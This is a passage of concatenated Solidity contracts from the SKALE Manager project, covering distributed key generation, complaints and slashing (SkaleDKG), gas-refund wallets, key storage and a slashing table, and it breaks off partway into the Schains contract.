SPDX-License-Identifier: AGPL-3.0-only /* SkaleDKG.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "./Permissions.sol"; import "./delegation/Punisher.sol"; import "./SlashingTable.sol"; import "./Schains.sol"; import "./SchainsInternal.sol"; import "./utils/FieldOperations.sol"; import "./NodeRotation.sol"; import "./KeyStorage.sol"; import "./interfaces/ISkaleDKG.sol"; import "./thirdparty/ECDH.sol"; import "./utils/Precompiled.sol"; import "./Wallets.sol"; import "./dkg/SkaleDkgAlright.sol"; import "./dkg/SkaleDkgBroadcast.sol"; import "./dkg/SkaleDkgComplaint.sol"; import "./dkg/SkaleDkgPreResponse.sol"; import "./dkg/SkaleDkgResponse.sol"; /** * @title SkaleDKG * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ contract SkaleDKG is Permissions, ISkaleDKG { using Fp2Operations for Fp2Operations.Fp2Point; using G2Operations for G2Operations.G2Point; enum DkgFunction {Broadcast, Alright, ComplaintBadData, PreResponse, Complaint, Response} struct Channel { bool active; uint n; uint startedBlockTimestamp; uint startedBlock; } struct ProcessDKG { uint numberOfBroadcasted; uint numberOfCompleted; bool[] broadcasted; bool[] completed; } struct ComplaintData { uint nodeToComplaint; uint fromNodeToComplaint; uint startComplaintBlockTimestamp; bool isResponse; bytes32 keyShare; G2Operations.G2Point sumOfVerVec; } struct KeyShare { bytes32[2] publicKey; bytes32 share; } struct Context { bool isDebt; uint delta; DkgFunction dkgFunction; } uint public constant COMPLAINT_TIMELIMIT = 1800; mapping(bytes32 => Channel) public channels; mapping(bytes32 => uint) public lastSuccesfulDKG; mapping(bytes32 => ProcessDKG) public dkgProcess; mapping(bytes32 => ComplaintData) public complaints; mapping(bytes32 => uint) public startAlrightTimestamp; mapping(bytes32 => mapping(uint => bytes32)) public hashedData; mapping(bytes32 => uint) private _badNodes; /** * @dev Emitted when a channel is opened. */ event ChannelOpened(bytes32 schainId); /** * @dev Emitted when a channel is closed. */ event ChannelClosed(bytes32 schainId); /** * @dev Emitted when a node broadcasts keyshare. */ event BroadcastAndKeyShare( bytes32 indexed schainId, uint indexed fromNode, G2Operations.G2Point[] verificationVector, KeyShare[] secretKeyContribution ); /** * @dev Emitted when all group data is received by node. */ event AllDataReceived(bytes32 indexed schainId, uint nodeIndex); /** * @dev Emitted when DKG is successful. */ event SuccessfulDKG(bytes32 indexed schainId); /** * @dev Emitted when a complaint against a node is verified. */ event BadGuy(uint nodeIndex); /** * @dev Emitted when DKG failed. */ event FailedDKG(bytes32 indexed schainId); /** * @dev Emitted when a new node is rotated in. */ event NewGuy(uint nodeIndex); /** * @dev Emitted when an incorrect complaint is sent. */ event ComplaintError(string error); /** * @dev Emitted when a complaint is sent. */ event ComplaintSent( bytes32 indexed schainId, uint indexed fromNodeIndex, uint indexed toNodeIndex); modifier correctGroup(bytes32 schainId) { require(channels[schainId].active, "Group is not created"); _; } modifier correctGroupWithoutRevert(bytes32 schainId) { if (!channels[schainId].active) { emit ComplaintError("Group is not created"); } else { _; } } modifier correctNode(bytes32 schainId, uint nodeIndex) { (uint index, ) = checkAndReturnIndexInGroup(schainId, nodeIndex, true); _; } modifier correctNodeWithoutRevert(bytes32 schainId, uint nodeIndex) { (, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false); if (!check) { emit ComplaintError("Node is not in this group"); } else { _; } } modifier onlyNodeOwner(uint nodeIndex) { _checkMsgSenderIsNodeOwner(nodeIndex); _; } modifier refundGasBySchain(bytes32 schainId, Context memory context) { uint gasTotal = gasleft(); _; _refundGasBySchain(schainId, gasTotal, context); } modifier refundGasByValidatorToSchain(bytes32 schainId, Context memory context) { uint gasTotal = gasleft(); _; _refundGasBySchain(schainId, gasTotal, context); _refundGasByValidatorToSchain(schainId); } function alright(bytes32 schainId, uint fromNodeIndex) external refundGasBySchain(schainId, Context({ isDebt: false, delta: ConstantsHolder(contractManager.getConstantsHolder()).ALRIGHT_DELTA(), dkgFunction: DkgFunction.Alright })) correctGroup(schainId) onlyNodeOwner(fromNodeIndex) { SkaleDkgAlright.alright( schainId, fromNodeIndex, contractManager, channels, dkgProcess, complaints, lastSuccesfulDKG ); } function broadcast( bytes32 schainId, uint nodeIndex, G2Operations.G2Point[] memory verificationVector, KeyShare[] memory secretKeyContribution ) external refundGasBySchain(schainId, Context({ isDebt: false, delta: ConstantsHolder(contractManager.getConstantsHolder()).BROADCAST_DELTA(), dkgFunction: DkgFunction.Broadcast })) correctGroup(schainId) onlyNodeOwner(nodeIndex) { SkaleDkgBroadcast.broadcast( schainId, nodeIndex, verificationVector, secretKeyContribution, contractManager, channels, dkgProcess, hashedData ); } function complaintBadData(bytes32 schainId, uint fromNodeIndex, uint toNodeIndex) external refundGasBySchain( schainId, Context({ isDebt: true, delta: ConstantsHolder(contractManager.getConstantsHolder()).COMPLAINT_BAD_DATA_DELTA(), dkgFunction: DkgFunction.ComplaintBadData })) correctGroupWithoutRevert(schainId) correctNode(schainId, fromNodeIndex) correctNodeWithoutRevert(schainId, toNodeIndex) onlyNodeOwner(fromNodeIndex) { SkaleDkgComplaint.complaintBadData( schainId, fromNodeIndex, toNodeIndex, contractManager, complaints ); } function preResponse( bytes32 schainId, uint fromNodeIndex, G2Operations.G2Point[] memory verificationVector, G2Operations.G2Point[] memory verificationVectorMult, KeyShare[] memory secretKeyContribution ) external refundGasBySchain( schainId, Context({ isDebt: true, delta: ConstantsHolder(contractManager.getConstantsHolder()).PRE_RESPONSE_DELTA(), dkgFunction: DkgFunction.PreResponse })) correctGroup(schainId) onlyNodeOwner(fromNodeIndex) { SkaleDkgPreResponse.preResponse( schainId, fromNodeIndex, verificationVector, verificationVectorMult, secretKeyContribution, contractManager, complaints, hashedData ); } function complaint(bytes32 schainId, uint fromNodeIndex, uint toNodeIndex) external refundGasByValidatorToSchain( schainId, Context({ isDebt: true, delta: ConstantsHolder(contractManager.getConstantsHolder()).COMPLAINT_DELTA(), dkgFunction: DkgFunction.Complaint })) correctGroupWithoutRevert(schainId) correctNode(schainId, fromNodeIndex) correctNodeWithoutRevert(schainId, toNodeIndex) onlyNodeOwner(fromNodeIndex) { SkaleDkgComplaint.complaint( schainId, fromNodeIndex, toNodeIndex, contractManager, channels, complaints, startAlrightTimestamp ); } function response( bytes32 schainId, uint fromNodeIndex, uint secretNumber, G2Operations.G2Point memory multipliedShare ) external refundGasByValidatorToSchain( schainId, Context({isDebt: true, delta: ConstantsHolder(contractManager.getConstantsHolder()).RESPONSE_DELTA(), dkgFunction: DkgFunction.Response })) correctGroup(schainId) onlyNodeOwner(fromNodeIndex) { SkaleDkgResponse.response( schainId, fromNodeIndex, secretNumber, multipliedShare, contractManager, channels, complaints ); } /** * @dev Allows Schains and NodeRotation contracts to open a channel. * * Emits a {ChannelOpened} event. * * Requirements: * * - Channel is not already created. */ function openChannel(bytes32 schainId) external override allowTwo("Schains","NodeRotation") { _openChannel(schainId); } /** * @dev Allows SchainsInternal contract to delete a channel. * * Requirements: * * - Channel must exist. */ function deleteChannel(bytes32 schainId) external override allow("SchainsInternal") { delete channels[schainId]; delete dkgProcess[schainId]; delete complaints[schainId]; KeyStorage(contractManager.getContract("KeyStorage")).deleteKey(schainId); } function setStartAlrightTimestamp(bytes32 schainId) external allow("SkaleDKG") { startAlrightTimestamp[schainId] = now; } function setBadNode(bytes32 schainId, uint nodeIndex) external allow("SkaleDKG") { _badNodes[schainId] = nodeIndex; } function finalizeSlashing(bytes32 schainId, uint badNode) external allow("SkaleDKG") { NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation")); SchainsInternal schainsInternal = SchainsInternal( contractManager.getContract("SchainsInternal") ); emit BadGuy(badNode); emit FailedDKG(schainId); schainsInternal.makeSchainNodesInvisible(schainId); if (schainsInternal.isAnyFreeNode(schainId)) { uint newNode = nodeRotation.rotateNode( badNode, schainId, false, true ); emit NewGuy(newNode); } else { _openChannel(schainId); schainsInternal.removeNodeFromSchain( badNode, schainId ); channels[schainId].active = false; } schainsInternal.makeSchainNodesVisible(schainId); Punisher(contractManager.getPunisher()).slash( Nodes(contractManager.getContract("Nodes")).getValidatorId(badNode), SlashingTable(contractManager.getContract("SlashingTable")).getPenalty("FailedDKG") ); } function getChannelStartedTime(bytes32 schainId) external view returns (uint) { return channels[schainId].startedBlockTimestamp; } function getChannelStartedBlock(bytes32 schainId) external view returns (uint) { return channels[schainId].startedBlock; } function getNumberOfBroadcasted(bytes32 schainId) external view returns (uint) { return dkgProcess[schainId].numberOfBroadcasted; } function getNumberOfCompleted(bytes32 schainId) external view returns (uint) { return dkgProcess[schainId].numberOfCompleted; } function getTimeOfLastSuccessfulDKG(bytes32 schainId) external view returns (uint) { return lastSuccesfulDKG[schainId]; } function getComplaintData(bytes32 schainId) external view returns (uint, uint) { return (complaints[schainId].fromNodeToComplaint, complaints[schainId].nodeToComplaint); } function getComplaintStartedTime(bytes32 schainId) external view returns (uint) { return complaints[schainId].startComplaintBlockTimestamp; } function getAlrightStartedTime(bytes32 schainId) external view returns (uint) { return startAlrightTimestamp[schainId]; } /** * @dev Checks whether channel is opened. */ function isChannelOpened(bytes32 schainId) external override view returns (bool) { return channels[schainId].active; } function isLastDKGSuccessful(bytes32 schainId) external override view returns (bool) { return channels[schainId].startedBlockTimestamp <= lastSuccesfulDKG[schainId]; } /** * @dev Checks whether broadcast is possible. */ function isBroadcastPossible(bytes32 schainId, uint nodeIndex) external view returns (bool) { (uint index, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false); return channels[schainId].active && check && _isNodeOwnedByMessageSender(nodeIndex, msg.sender) && !dkgProcess[schainId].broadcasted[index]; } /** * @dev Checks whether complaint is possible. */ function isComplaintPossible( bytes32 schainId, uint fromNodeIndex, uint toNodeIndex ) external view returns (bool) { (uint indexFrom, bool checkFrom) = checkAndReturnIndexInGroup(schainId, fromNodeIndex, false); (uint indexTo, bool checkTo) = checkAndReturnIndexInGroup(schainId, toNodeIndex, false); if (!checkFrom || !checkTo) return false; bool complaintSending = ( complaints[schainId].nodeToComplaint == uint(-1) && dkgProcess[schainId].broadcasted[indexTo] && !dkgProcess[schainId].completed[indexFrom] ) || ( dkgProcess[schainId].broadcasted[indexTo] && complaints[schainId].startComplaintBlockTimestamp.add(_getComplaintTimelimit()) <= block.timestamp && complaints[schainId].nodeToComplaint == toNodeIndex ) || ( !dkgProcess[schainId].broadcasted[indexTo] && complaints[schainId].nodeToComplaint == uint(-1) && channels[schainId].startedBlockTimestamp.add(_getComplaintTimelimit()) <= block.timestamp ) || ( complaints[schainId].nodeToComplaint == uint(-1) && isEveryoneBroadcasted(schainId) && dkgProcess[schainId].completed[indexFrom] && !dkgProcess[schainId].completed[indexTo] && startAlrightTimestamp[schainId].add(_getComplaintTimelimit()) <= block.timestamp ); return channels[schainId].active && dkgProcess[schainId].broadcasted[indexFrom] && _isNodeOwnedByMessageSender(fromNodeIndex, msg.sender) && complaintSending; } /** * @dev Checks whether sending Alright response is possible. */ function isAlrightPossible(bytes32 schainId, uint nodeIndex) external view returns (bool) { (uint index, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false); return channels[schainId].active && check && _isNodeOwnedByMessageSender(nodeIndex, msg.sender) && channels[schainId].n == dkgProcess[schainId].numberOfBroadcasted && (complaints[schainId].fromNodeToComplaint != nodeIndex || (nodeIndex == 0 && complaints[schainId].startComplaintBlockTimestamp == 0)) && !dkgProcess[schainId].completed[index]; } /** * @dev Checks whether sending a pre-response is possible. */ function isPreResponsePossible(bytes32 schainId, uint nodeIndex) external view returns (bool) { (, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false); return channels[schainId].active && check && _isNodeOwnedByMessageSender(nodeIndex, msg.sender) && complaints[schainId].nodeToComplaint == nodeIndex && !complaints[schainId].isResponse; } /** * @dev Checks whether sending a response is possible. */ function isResponsePossible(bytes32 schainId, uint nodeIndex) external view returns (bool) { (, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false); return channels[schainId].active && check && _isNodeOwnedByMessageSender(nodeIndex, msg.sender) && complaints[schainId].nodeToComplaint == nodeIndex && complaints[schainId].isResponse; } function isNodeBroadcasted(bytes32 schainId, uint nodeIndex) external view returns (bool) { (uint index, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false); return check && dkgProcess[schainId].broadcasted[index]; } /** * @dev Checks whether all data has been received by node. */ function isAllDataReceived(bytes32 schainId, uint nodeIndex) external view returns (bool) { (uint index, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false); return check && dkgProcess[schainId].completed[index]; } function hashData( KeyShare[] memory secretKeyContribution, G2Operations.G2Point[] memory verificationVector ) external pure returns (bytes32) { bytes memory data; for (uint i = 0; i < secretKeyContribution.length; i++) { data = abi.encodePacked(data, secretKeyContribution[i].publicKey, secretKeyContribution[i].share); } for (uint i = 0; i < verificationVector.length; i++) { data = abi.encodePacked( data, verificationVector[i].x.a, verificationVector[i].x.b, verificationVector[i].y.a, verificationVector[i].y.b ); } return keccak256(data); } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); } function checkAndReturnIndexInGroup( bytes32 schainId, uint nodeIndex, bool revertCheck ) public view returns (uint, bool) { uint index = SchainsInternal(contractManager.getContract("SchainsInternal")) .getNodeIndexInGroup(schainId, nodeIndex); if (index >= channels[schainId].n && revertCheck) { revert("Node is not in this group"); } return (index, index < channels[schainId].n); } function _refundGasBySchain(bytes32 schainId, uint gasTotal, Context memory context) private { Wallets wallets = Wallets(payable(contractManager.getContract("Wallets"))); bool isLastNode = channels[schainId].n == dkgProcess[schainId].numberOfCompleted; if (context.dkgFunction == DkgFunction.Alright && isLastNode) { wallets.refundGasBySchain( schainId, msg.sender, gasTotal.sub(gasleft()).add(context.delta).sub(74800), context.isDebt ); } else if (context.dkgFunction == DkgFunction.Complaint && gasTotal.sub(gasleft()) > 2e6) { wallets.refundGasBySchain( schainId, msg.sender, gasTotal.sub(gasleft()).add(context.delta).sub(640000), context.isDebt ); } else if (context.dkgFunction == DkgFunction.Complaint && gasTotal.sub(gasleft()) > 1e6) { wallets.refundGasBySchain( schainId, msg.sender, gasTotal.sub(gasleft()).add(context.delta).sub(270000), context.isDebt ); } else if (context.dkgFunction == DkgFunction.Response){ wallets.refundGasBySchain( schainId, msg.sender, gasTotal.sub(gasleft()).sub(context.delta), context.isDebt ); } else { wallets.refundGasBySchain( schainId, msg.sender, gasTotal.sub(gasleft()).add(context.delta), context.isDebt ); } } function _refundGasByValidatorToSchain(bytes32 schainId) private { uint validatorId = Nodes(contractManager.getContract("Nodes")) .getValidatorId(_badNodes[schainId]); Wallets(payable(contractManager.getContract("Wallets"))) .refundGasByValidatorToSchain(validatorId, schainId); delete _badNodes[schainId]; } function _openChannel(bytes32 schainId) private { SchainsInternal schainsInternal = SchainsInternal( contractManager.getContract("SchainsInternal") ); uint len = schainsInternal.getNumberOfNodesInGroup(schainId); channels[schainId].active = true; channels[schainId].n = len; delete dkgProcess[schainId].completed; delete dkgProcess[schainId].broadcasted; dkgProcess[schainId].broadcasted = new bool[](len); dkgProcess[schainId].completed = new bool[](len); complaints[schainId].fromNodeToComplaint = uint(-1); complaints[schainId].nodeToComplaint = uint(-1); delete complaints[schainId].startComplaintBlockTimestamp; delete dkgProcess[schainId].numberOfBroadcasted; delete dkgProcess[schainId].numberOfCompleted; channels[schainId].startedBlockTimestamp = now; channels[schainId].startedBlock = block.number; KeyStorage(contractManager.getContract("KeyStorage")).initPublicKeyInProgress(schainId); emit ChannelOpened(schainId); } function isEveryoneBroadcasted(bytes32 schainId) public view returns (bool) { return channels[schainId].n == dkgProcess[schainId].numberOfBroadcasted; } function _isNodeOwnedByMessageSender(uint nodeIndex, address from) private view returns (bool) { return Nodes(contractManager.getContract("Nodes")).isNodeExist(from, nodeIndex); } function _checkMsgSenderIsNodeOwner(uint nodeIndex) private view { require(_isNodeOwnedByMessageSender(nodeIndex, msg.sender), "Node does not exist for message sender"); } function _getComplaintTimelimit() private view returns (uint) { return ConstantsHolder(contractManager.getConstantsHolder()).complaintTimelimit(); } } // SPDX-License-Identifier: AGPL-3.0-only /* Wallets.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "./Permissions.sol"; import "./delegation/ValidatorService.sol"; import "./SchainsInternal.sol"; import "./Nodes.sol"; /** * @title Wallets * @dev Contract contains logic to perform automatic self-recharging ether for nodes */ contract Wallets is Permissions { mapping (uint => uint) private _validatorWallets; mapping (bytes32 => uint) private _schainWallets; mapping (bytes32 => uint) private _schainDebts; /** * @dev Emitted when the validator wallet was funded */ event ValidatorWalletRecharged(address sponsor, uint amount, uint validatorId); /** * @dev Emitted when the schain wallet was funded */ event SchainWalletRecharged(address sponsor, uint amount, bytes32 schainId); /** * @dev Emitted when the node received a refund from validator to its wallet */ event NodeRefundedByValidator(address node, uint validatorId, uint amount); /** * @dev Emitted when the node received a refund from schain to its wallet */ event NodeRefundedBySchain(address node, bytes32 schainId, uint amount); /** * @dev Is executed on a call to the contract with empty calldata. * This is the function that is executed on plain Ether transfers, * so validator or schain owner can use usual transfer ether to recharge wallet. */ receive() external payable { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); bytes32[] memory schainIds = schainsInternal.getSchainIdsByAddress(msg.sender); if (schainIds.length == 1) { rechargeSchainWallet(schainIds[0]); } else { uint validatorId = validatorService.getValidatorId(msg.sender); rechargeValidatorWallet(validatorId); } } /** * @dev Reimburse gas for node by validator wallet. If validator wallet has not enough funds * the node will receive the entire remaining amount in the validator's wallet. * `validatorId` - validator that will reimburse desired transaction * `spender` - address to send reimbursed funds * `spentGas` - amount of spent gas that should be reimbursed to desired node * * Emits a {NodeRefundedByValidator} event. * * Requirements: * - Given validator should exist */ function refundGasByValidator( uint validatorId, address payable spender, uint spentGas ) external allowTwo("SkaleManager", "SkaleDKG") { require(validatorId != 0, "ValidatorId could not be zero"); uint amount = tx.gasprice * spentGas; if (amount <= _validatorWallets[validatorId]) { _validatorWallets[validatorId] = _validatorWallets[validatorId].sub(amount); emit NodeRefundedByValidator(spender, validatorId, amount); spender.transfer(amount); } else { uint wholeAmount = _validatorWallets[validatorId]; // solhint-disable-next-line reentrancy delete _validatorWallets[validatorId]; emit NodeRefundedByValidator(spender, validatorId, wholeAmount); spender.transfer(wholeAmount); } } /** * @dev Returns the amount owed to the owner of the chain by the validator, * if the validator does not have enough funds, then everything * that the validator has will be returned to the owner of the chain. */ function refundGasByValidatorToSchain(uint validatorId, bytes32 schainId) external allow("SkaleDKG") { uint debtAmount = _schainDebts[schainId]; uint validatorWallet = _validatorWallets[validatorId]; if (debtAmount <= validatorWallet) { _validatorWallets[validatorId] = validatorWallet.sub(debtAmount); } else { debtAmount = validatorWallet; delete _validatorWallets[validatorId]; } _schainWallets[schainId] = _schainWallets[schainId].add(debtAmount); delete _schainDebts[schainId]; } /** * @dev Reimburse gas for node by schain wallet. If schain wallet has not enough funds * than transaction will be reverted. * `schainId` - schain that will reimburse desired transaction * `spender` - address to send reimbursed funds * `spentGas` - amount of spent gas that should be reimbursed to desired node * `isDebt` - parameter that indicates whether this amount should be recorded as debt for the validator * * Emits a {NodeRefundedBySchain} event. * * Requirements: * - Given schain should exist * - Schain wallet should have enough funds */ function refundGasBySchain( bytes32 schainId, address payable spender, uint spentGas, bool isDebt ) external allowTwo("SkaleDKG", "MessageProxyForMainnet") { uint amount = tx.gasprice * spentGas; if (isDebt) { amount += (_schainDebts[schainId] == 0 ? 21000 : 6000) * tx.gasprice; _schainDebts[schainId] = _schainDebts[schainId].add(amount); } require(schainId != bytes32(0), "SchainId cannot be null"); require(amount <= _schainWallets[schainId], "Schain wallet has not enough funds"); _schainWallets[schainId] = _schainWallets[schainId].sub(amount); emit NodeRefundedBySchain(spender, schainId, amount); spender.transfer(amount); } /** * @dev Withdraws money from schain wallet. Possible to execute only after deleting schain. * `schainOwner` - address of schain owner that will receive rest of the schain balance * `schainId` - schain wallet from which money is withdrawn * * Requirements: * - Executable only after initing delete schain */ function withdrawFundsFromSchainWallet(address payable schainOwner, bytes32 schainId) external allow("Schains") { uint amount = _schainWallets[schainId]; delete _schainWallets[schainId]; schainOwner.transfer(amount); } /** * @dev Withdraws money from vaildator wallet. * `amount` - the amount of money in wei * * Requirements: * - Validator must have sufficient withdrawal amount */ function withdrawFundsFromValidatorWallet(uint amount) external { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); uint validatorId = validatorService.getValidatorId(msg.sender); require(amount <= _validatorWallets[validatorId], "Balance is too low"); _validatorWallets[validatorId] = _validatorWallets[validatorId].sub(amount); msg.sender.transfer(amount); } function getSchainBalance(bytes32 schainId) external view returns (uint) { return _schainWallets[schainId]; } function getValidatorBalance(uint validatorId) external view returns (uint) { return _validatorWallets[validatorId]; } /** * @dev Recharge the validator wallet by id. * `validatorId` - id of existing validator. * * Emits a {ValidatorWalletRecharged} event. * * Requirements: * - Given validator must exist */ function rechargeValidatorWallet(uint validatorId) public payable { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); require(validatorService.validatorExists(validatorId), "Validator does not exists"); _validatorWallets[validatorId] = _validatorWallets[validatorId].add(msg.value); emit ValidatorWalletRecharged(msg.sender, msg.value, validatorId); } /** * @dev Recharge the schain wallet by schainId (hash of schain name). * `schainId` - id of existing schain. * * Emits a {SchainWalletRecharged} event. * * Requirements: * - Given schain must be created */ function rechargeSchainWallet(bytes32 schainId) public payable { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); require(schainsInternal.isSchainActive(schainId), "Schain should be active for recharging"); _schainWallets[schainId] = _schainWallets[schainId].add(msg.value); emit SchainWalletRecharged(msg.sender, msg.value, schainId); } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); } } // SPDX-License-Identifier: AGPL-3.0-only /* KeyStorage.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "./Decryption.sol"; import "./Permissions.sol"; import "./SchainsInternal.sol"; import "./thirdparty/ECDH.sol"; import "./utils/Precompiled.sol"; import "./utils/FieldOperations.sol"; contract KeyStorage is Permissions { using Fp2Operations for Fp2Operations.Fp2Point; using G2Operations for G2Operations.G2Point; struct BroadcastedData { KeyShare[] secretKeyContribution; G2Operations.G2Point[] verificationVector; } struct KeyShare { bytes32[2] publicKey; bytes32 share; } // Unused variable!! mapping(bytes32 => mapping(uint => BroadcastedData)) private _data; // mapping(bytes32 => G2Operations.G2Point) private _publicKeysInProgress; mapping(bytes32 => G2Operations.G2Point) private _schainsPublicKeys; // Unused variable mapping(bytes32 => G2Operations.G2Point[]) private _schainsNodesPublicKeys; // mapping(bytes32 => G2Operations.G2Point[]) private _previousSchainsPublicKeys; function deleteKey(bytes32 schainId) external allow("SkaleDKG") { _previousSchainsPublicKeys[schainId].push(_schainsPublicKeys[schainId]); delete _schainsPublicKeys[schainId]; delete _data[schainId][0]; delete _schainsNodesPublicKeys[schainId]; } function initPublicKeyInProgress(bytes32 schainId) external allow("SkaleDKG") { _publicKeysInProgress[schainId] = G2Operations.getG2Zero(); } function adding(bytes32 schainId, G2Operations.G2Point memory value) external allow("SkaleDKG") { require(value.isG2(), "Incorrect g2 point"); _publicKeysInProgress[schainId] = value.addG2(_publicKeysInProgress[schainId]); } function finalizePublicKey(bytes32 schainId) external allow("SkaleDKG") { if (!_isSchainsPublicKeyZero(schainId)) { _previousSchainsPublicKeys[schainId].push(_schainsPublicKeys[schainId]); } _schainsPublicKeys[schainId] = _publicKeysInProgress[schainId]; delete _publicKeysInProgress[schainId]; } function getCommonPublicKey(bytes32 schainId) external view returns (G2Operations.G2Point memory) { return _schainsPublicKeys[schainId]; } function getPreviousPublicKey(bytes32 schainId) external view returns (G2Operations.G2Point memory) { uint length = _previousSchainsPublicKeys[schainId].length; if (length == 0) { return G2Operations.getG2Zero(); } return _previousSchainsPublicKeys[schainId][length - 1]; } function getAllPreviousPublicKeys(bytes32 schainId) external view returns (G2Operations.G2Point[] memory) { return _previousSchainsPublicKeys[schainId]; } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); } function _isSchainsPublicKeyZero(bytes32 schainId) private view returns (bool) { return _schainsPublicKeys[schainId].x.a == 0 && _schainsPublicKeys[schainId].x.b == 0 && _schainsPublicKeys[schainId].y.a == 0 && _schainsPublicKeys[schainId].y.b == 0; } } // SPDX-License-Identifier: AGPL-3.0-only /* SlashingTable.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "./Permissions.sol"; /** * @title Slashing Table * @dev This contract manages slashing conditions and penalties. */ contract SlashingTable is Permissions { mapping (uint => uint) private _penalties; /** * @dev Allows the Owner to set a slashing penalty in SKL tokens for a * given offense. */ function setPenalty(string calldata offense, uint penalty) external onlyOwner { _penalties[uint(keccak256(abi.encodePacked(offense)))] = penalty; } /** * @dev Returns the penalty in SKL tokens for a given offense. */ function getPenalty(string calldata offense) external view returns (uint) { uint penalty = _penalties[uint(keccak256(abi.encodePacked(offense)))]; return penalty; } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); } } // SPDX-License-Identifier: AGPL-3.0-only /* Schains.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "./Permissions.sol"; import "./SchainsInternal.sol"; import "./ConstantsHolder.sol"; import "./KeyStorage.sol"; import "./SkaleVerifier.sol"; import "./utils/FieldOperations.sol"; import "./NodeRotation.sol"; import "./interfaces/ISkaleDKG.sol"; import "./Wallets.sol"; /** * @title Schains * @dev Contains functions to manage Schains such as Schain creation, * deletion, and rotation. */ contract Schains is Permissions { struct SchainParameters { uint lifetime; uint8 typeOfSchain; uint16 nonce; string name; } bytes32 public constant SCHAIN_CREATOR_ROLE = keccak256("SCHAIN_CREATOR_ROLE"); /** * @dev Emitted when an schain is created. */ event SchainCreated( string name, address owner, uint partOfNode, uint lifetime, uint numberOfNodes, uint deposit, uint16 nonce, bytes32 schainId, uint time, uint gasSpend ); /** * @dev Emitted when an schain is deleted. */ event SchainDeleted( address owner, string name, bytes32 indexed schainId ); /** * @dev Emitted when a node in an schain is rotated. */ event NodeRotated( bytes32 schainId, uint oldNode, uint newNode ); /** * @dev Emitted when a node is added to an schain. */ event NodeAdded( bytes32 schainId, uint newNode ); /** * @dev Emitted when a group of nodes is created for an schain. */ event SchainNodes( string name, bytes32 schainId, uint[] nodesInGroup, uint time, uint gasSpend ); /** * @dev Allows SkaleManager contract to create an Schain. * * Emits an {SchainCreated} event. * * Requirements: * * - Schain type is valid. * - There is sufficient deposit to create type of schain. */ function addSchain(address from, uint deposit, bytes calldata data) external allow("SkaleManager") { SchainParameters memory schainParameters = _fallbackSchainParametersDataConverter(data); ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getConstantsHolder()); uint schainCreationTimeStamp = constantsHolder.schainCreationTimeStamp(); uint minSchainLifetime = constantsHolder.minimalSchainLifetime(); require(now >= schainCreationTimeStamp, "It is not a time for creating Schain"); require( schainParameters.lifetime >= minSchainLifetime, "Minimal schain lifetime should be satisfied" ); require( 